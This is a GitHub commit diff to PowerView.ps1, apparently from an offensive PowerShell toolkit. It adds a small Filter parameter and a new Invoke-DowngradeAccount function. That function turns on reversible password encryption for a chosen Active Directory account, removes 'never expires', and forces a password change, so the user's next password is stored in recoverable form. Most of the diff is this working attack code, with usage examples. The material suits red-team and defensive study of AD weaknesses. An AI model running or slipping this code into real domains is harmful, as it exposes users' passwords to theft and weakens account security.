Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit a336562

Browse files
committed
Added Invoke-DowngradeAccount to set an account to use reversible encryption.
1 parent a0b95c3 commit a336562

1 file changed

Lines changed: 117 additions & 1 deletion

File tree

Recon/PowerView.ps1

Lines changed: 117 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3618,6 +3618,10 @@ function Set-ADObject {
36183618
36193619
Domain controller to reflect LDAP queries through.
36203620
3621+
.PARAMETER Filter
3622+
3623+
Additional LDAP filter string for the query.
3624+
36213625
.PARAMETER PropertyName
36223626
36233627
The property name to set.
@@ -3628,7 +3632,7 @@ function Set-ADObject {
36283632
36293633
.PARAMETER PropertyXorValue
36303634
3631-
Integer calue to binary xor (-bxor) with the current int value.
3635+
Integer value to binary xor (-bxor) with the current int value.
36323636
36333637
.PARAMETER ClearValue
36343638
@@ -3668,6 +3672,9 @@ function Set-ADObject {
36683672
[String]
36693673
$DomainController,
36703674

3675+
[String]
3676+
$Filter,
3677+
36713678
[Parameter(Mandatory = $True)]
36723679
[String]
36733680
$PropertyName,
@@ -3691,6 +3698,7 @@ function Set-ADObject {
36913698
'SamAccountName' = $SamAccountName
36923699
'Domain' = $Domain
36933700
'DomainController' = $DomainController
3701+
'Filter' = $Filter
36943702
'PageSize' = $PageSize
36953703
}
36963704
# splat the appropriate arguments to Get-ADObject
@@ -3726,6 +3734,114 @@ function Set-ADObject {
37263734
}
37273735

37283736

3737+
function Invoke-DowngradeAccount {
3738+
<#
3739+
.SYNOPSIS
3740+
3741+
Set reversible encryption on a given account and then force the password
3742+
to be set on next user login. To repair use "-Repair".
3743+
3744+
.PARAMETER SamAccountName
3745+
3746+
The SamAccountName of the domain object you're querying for.
3747+
3748+
.PARAMETER Name
3749+
3750+
The Name of the domain object you're querying for.
3751+
3752+
.PARAMETER Domain
3753+
3754+
The domain to query for objects, defaults to the current domain.
3755+
3756+
.PARAMETER DomainController
3757+
3758+
Domain controller to reflect LDAP queries through.
3759+
3760+
.PARAMETER Filter
3761+
3762+
Additional LDAP filter string for the query.
3763+
3764+
.PARAMETER Repair
3765+
3766+
Switch. Unset the reversible encryption flag and force password reset flag.
3767+
3768+
.EXAMPLE
3769+
3770+
PS> Invoke-DowngradeAccount -SamAccountName jason
3771+
3772+
Set reversible encryption on the 'jason' account and force the password to be changed.
3773+
3774+
.EXAMPLE
3775+
3776+
PS> Invoke-DowngradeAccount -SamAccountName jason -Repair
3777+
3778+
Unset reversible encryption on the 'jason' account and remove the forced password change.
3779+
#>
3780+
3781+
[CmdletBinding()]
3782+
Param (
3783+
[Parameter(Position=0,ValueFromPipeline=$True)]
3784+
[String]
3785+
$SamAccountName,
3786+
3787+
[String]
3788+
$Name,
3789+
3790+
[String]
3791+
$Domain,
3792+
3793+
[String]
3794+
$DomainController,
3795+
3796+
[String]
3797+
$Filter,
3798+
3799+
[Switch]
3800+
$Repair
3801+
)
3802+
3803+
process {
3804+
$Arguments = @{
3805+
'SamAccountName' = $SamAccountName
3806+
'Name' = $Name
3807+
'Domain' = $Domain
3808+
'DomainController' = $DomainController
3809+
'Filter' = $Filter
3810+
}
3811+
3812+
# splat the appropriate arguments to Get-ADObject
3813+
$UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue
3814+
3815+
if($Repair) {
3816+
3817+
if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") {
3818+
# if reversible encryption is set, unset it
3819+
Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
3820+
}
3821+
3822+
# unset the forced password change
3823+
Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1
3824+
}
3825+
3826+
else {
3827+
3828+
if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") {
3829+
# if the password is set to never expire, unset
3830+
Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536
3831+
}
3832+
3833+
if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") {
3834+
# if reversible encryption is not set, set it
3835+
Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
3836+
}
3837+
3838+
# force the password to be changed on next login
3839+
Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0
3840+
}
3841+
}
3842+
}
3843+
3844+
37293845
function Get-ComputerProperty {
37303846
<#
37313847
.SYNOPSIS

0 commit comments

Comments
 (0)